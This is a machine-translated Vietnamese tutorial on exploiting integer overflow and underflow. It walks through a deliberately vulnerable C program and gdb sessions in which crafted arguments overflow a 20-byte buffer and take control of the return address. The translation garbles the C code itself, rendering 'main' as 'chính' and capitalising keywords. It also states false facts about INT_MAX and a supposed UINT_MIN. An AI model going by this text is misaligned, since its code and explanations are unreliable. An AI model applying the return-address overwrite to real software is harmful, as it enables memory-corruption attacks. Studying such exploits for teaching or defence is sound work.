Một số nguyên là gì? Một số nguyên trong máy tính là một biến đang nắm giữ một số thực mà không cần phân số. Lượng int tùy thuộc vào kiến trúc. Vì vậy, trên kiến trúc i386 (32-bit) int là 32-bit. Một số nguyên được đại diện trong bộ nhớ trong hệ nhị phân. Một số nguyên tràn / underflow? Tràn: Về cơ bản, một số nguyên là một vùng bộ nhớ khả năng nắm giữ các giá trị với kích thước lên đến bốn byte. Vì vậy nếu giá trị này có thể được kiểm soát và một giá trị được gửi đó là lớn hơn kích cỡ hơn 32 bit chúng tôi sẽ thành công tràn bộ nhớ. Do đó, theo trong kích thước tối đa của một int ký là INT_MAX = 2147483647, Kích thước tối đa của một unsigned int là UINT_MAX = 4294967295 (0xffffffff), Nếu giá trị nào lớn hơn INT_MAX được sử dụng nó sẽ kích hoạt một lỗi phân khúc. Underflow: Tuy nhiên, nếu giá trị số nguyên sử dụng là ít hơn tối thiểu đã ký hoặc dấu int. Điều này được gọi là một underflow và cũng sẽ kích hoạt một lỗi phân khúc. Bởi vì nhị phân unsigned int-4294967295 là tương tự như đại diện nhị phân của các ký int -1 trong bộ nhớ INT_MIN =-2147483647-1 UINT_MIN =-4294967295 Khai thác: Dễ bị tổn thương chương trình int.c #include int chính (int argc, char *argv[]) { Char buf [20]; int i=atoi(argv[1]); memcpy(BUF,argv[2],i*sizeof(Int)); printf ("số is:%d=%d
",i,i*sizeof(int)); printf ("is:%s
",buf bộ đệm); } Chúng ta hãy chương trình từng bước: Chương trình sẽ lần đầu tiên tuyên bố ký tự bộ đệm kích thước 20, và int tôi. Như atoi(argv[1]) sau đó nó sẽ memcpy các bộ đệm từ đối số thứ hai vào buf, với kích thước int cung cấp như là đầu tiên đối số X các kích thước của int là 4 byte. Hãy kiểm tra nó: Debian: ~ / tuts/integerunderflow #. / int 1 AAAA số lượng: 1 = 4 bộ đệm là: AAAA Chương trình hoạt động như nó nên vì vậy những gì sẽ xảy ra nếu chúng tôi cung cấp một giá trị tiêu cực Debian: ~ / tuts/integerunderflow #. / int -1 AAAA Phân khúc lỗi Và nếu chúng tôi cung cấp một giá trị lớn tích cực: Debian: ~ / tuts/integerunderflow #. / int 111 AAAA Phân khúc lỗi Trong ví dụ đầu tiên chúng tôi đã nhận một tràn vì memcpy đã cố gắng để sao chép dữ liệu tiêu cực vào bộ đệm. Trong ví dụ thứ hai chúng tôi đã phân khúc lỗi vì atoi(argv[1]) X sizeof(int) đầu ra của 111 x 4 là 4444, do đó, memcpy đã cố gắng để sao chép 4444 byte vào bộ đệm tràn bộ nhớ. Hãy nhìn thấy nó trong gdb: Tràn: (gdb) r 12 $(python - c ' in "A" * 44 + "B" * 4') Chương trình được debugged đã được bắt đầu đã. Bắt đầu từ đầu? (y hoặc n) y Bắt đầu chương trình: /root/tuts/integerunderflow/int 12 $(python - c ' in "A" * 44 + "B" * 4') số: 12 = 48 bộ đệm là: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB # Chương trình nhận được tín hiệu SIGSEGV, phân khúc lỗi. 0x42424242 tại?? () (gdb) Vì vậy, những gì sẽ xảy ra là memcpy sẽ cố gắng sao chép 4 X 12 = 48 byte vào bộ đệm mà sẽ tràn các BUF các kích thước 20. Và ghi đè địa chỉ trả lại owr sau khi 44 byte. Như được hiển thị ở trên. Underflow: Vì vậy, UINT_MIN là-4294967296 đó là tương đương với -1 chúng tôi phải tìm một tiêu cực khi có giá trị nó được nhân với 4 sẽ cung cấp cho một số lớn hơn 20, mà sẽ kích hoạt như phân khúc lỗi trong memcpy(). Con số này là-1073741810 X 4 = 56 Hãy chạy nó trong gdb và xem nơi thực hiện sẽ tới. (gdb) r-1073741810 $(python - c ' in "A" * 44 + "B" * 4') Chương trình được debugged đã được bắt đầu đã. Bắt đầu từ đầu? (y hoặc n) y Bắt đầu chương trình: /root/tuts/integerunderflow/int-1073741810 $(python - c ' in "A" * 44 + "B" * 4') số là:-1073741810 = 56 bộ đệm là: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Chương trình nhận được tín hiệu SIGSEGV, phân khúc lỗi. 0x42424242 tại?? () (gdb) Chúng tôi kiểm soát con đường của chúng tôi thực hiện với các kỹ thuật tràn và underflow.
đang được dịch, vui lòng đợi..
![](//viimg.ilovetranslation.com/pic/loading_3.gif?v=b9814dd30c1d7c59_8619)